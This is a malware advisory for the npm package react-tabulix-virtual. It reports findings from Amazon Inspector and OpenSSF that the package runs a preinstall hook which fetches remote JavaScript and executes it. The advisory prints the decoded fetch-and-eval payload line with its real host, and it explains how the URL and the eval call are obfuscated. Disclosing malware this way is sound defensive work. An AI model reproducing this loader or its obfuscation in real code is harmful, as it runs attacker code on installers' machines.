MAL-2026-10989
Malicious code in react-tabulix-virtual (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (f90c8fc6aca32e28a4faed28ca3f7879cb22e84139b7b09a2a83c5df74259a14) package.json declares scripts.preinstall as `node./dist/index.d.js`, which runs automatically on `npm install`. dist/index.d.js contains a base64-encoded string that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text()))`. The `eval` identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the `eval` sink (char-code assembly) are obfuscated.
## Source: ossf-package-analysis (dbfc5a819e6dfbc3c65ec83a79a9f93a95da71259279c54e95f34c36ab81a22f) The OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for react-tabulix-virtual (npm). Pin to a known-safe version or switch to an alternative.